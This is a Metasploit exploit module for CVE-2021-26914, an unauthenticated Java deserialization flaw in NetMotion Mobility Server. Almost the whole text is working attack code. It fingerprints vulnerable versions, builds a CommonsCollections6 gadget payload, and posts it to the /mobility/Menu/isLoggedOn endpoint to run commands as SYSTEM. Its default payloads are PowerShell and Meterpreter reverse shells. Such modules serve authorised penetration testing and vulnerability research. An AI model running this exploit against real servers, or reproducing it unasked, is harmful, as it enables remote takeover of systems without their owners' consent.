NetMotion Mobility Server MvcUtil Java Deserialization

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::JavaDeserialization  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'NetMotion Mobility Server MvcUtil Java Deserialization',  
'Description' => %q{  
This module exploits an unauthenticated Java deserialization in the  
NetMotion Mobility server's MvcUtil.valueStringToObject() method, as  
invoked through the /mobility/Menu/isLoggedOn endpoint, to execute  
code as the SYSTEM account.  
  
Mobility server versions 11.x before 11.73 and 12.x before 12.02 are  
vulnerable. Tested against 12.01.09045 on Windows Server 2016.  
},  
'Author' => [  
'mr_me', # Discovery and PoC  
'wvu' # Module  
],  
'References' => [  
['CVE', '2021-26914'],  
['URL', 'https://ssd-disclosure.com/ssd-advisory-netmotion-mobility-server-multiple-deserialization-of-untrusted-data-lead-to-rce/'],  
['URL', 'https://www.netmotionsoftware.com/security-advisories/security-vulnerability-in-mobility-web-server-november-19-2020'],  
['URL', 'https://srcincite.io/advisories/src-2021-0007/']  
],  
'DisclosureDate' => '2021-02-08', # Public disclosure  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Command',  
{  
'Arch' => ARCH_CMD,  
'Type' => :cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
],  
[  
'Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'  
}  
}  
],  
[  
'PowerShell',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'  
}  
}  
]  
],  
'DefaultTarget' => 2,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS, # C:\Program Files\NetMotion Server\logs  
ARTIFACTS_ON_DISK # CmdStager  
]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
unless (version = parse_version(res))  
return CheckCode::Unknown('Failed to parse version from response.')  
end  
  
unless vuln_version?(version)  
return CheckCode::Safe("NetMotion Mobility #{version} is patched.")  
end  
  
CheckCode::Appears("NetMotion Mobility #{version} is unpatched.")  
end  
  
def parse_version(res)  
return unless res&.code == 200  
  
# <img src='/images/menu_logo.png?version=12.01.09045' alt='Mobility' border='0' class='navLogo'>  
res.get_html_document.at('//img[@alt = "Mobility"]/@src').to_s[  
%r{^/images/menu_logo\.png\?version=(?<version>[\d.]+)$},  
:version # Hat tip @adfoster-r7  
]  
end  
  
def vuln_version?(version)  
@vuln_versions ||=  
(11.0...11.73).step(0.01) + # 11.0 through 11.72  
(12.0...12.02).step(0.01) # 12.0 through 12.01  
  
@vuln_versions.include?(version.to_f)  
end  
  
def exploit  
print_status("Executing #{payload_instance.refname} (#{target.name})")  
  
case target['Type']  
when :cmd  
execute_command(payload.encoded)  
when :dropper  
execute_cmdstager  
when :psh  
execute_command(  
cmd_psh_payload(  
payload.encoded,  
payload.arch.first,  
remove_comspec: true  
)  
)  
end  
end  
  
def execute_command(cmd, _opts = {})  
# XXX: %Path% is otherwise *only* C:\Program Files\NetMotion Server  
cmd.prepend(  
'set Path=%Path%;' \  
'C:\Windows\System32' \  
';' \  
'C:\Windows\System32\WindowsPowerShell\v1.0' \  
'&&'  
)  
  
print_status('Triggering deserialization')  
vprint_status("Executing command: #{cmd}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/mobility/Menu/isLoggedOn'),  
'vars_post' => {  
'Mvc_x_Form_x_Name' => go_go_gadget(cmd)  
}  
)  
  
unless res&.code == 200 && res.body == 'false' # If JSESSIONID is missing  
fail_with(Failure::PayloadFailed, 'Failed to trigger deserialization')  
end  
  
print_good('Successfully triggered deserialization')  
end  
  
def go_go_gadget(cmd)  
Rex::Text.encode_base64(  
Rex::Text.gzip(  
generate_java_deserialization_for_command(  
'CommonsCollections6',  
'cmd', # cmd.exe  
cmd  
)  
)  
)  
end  
  
end  
`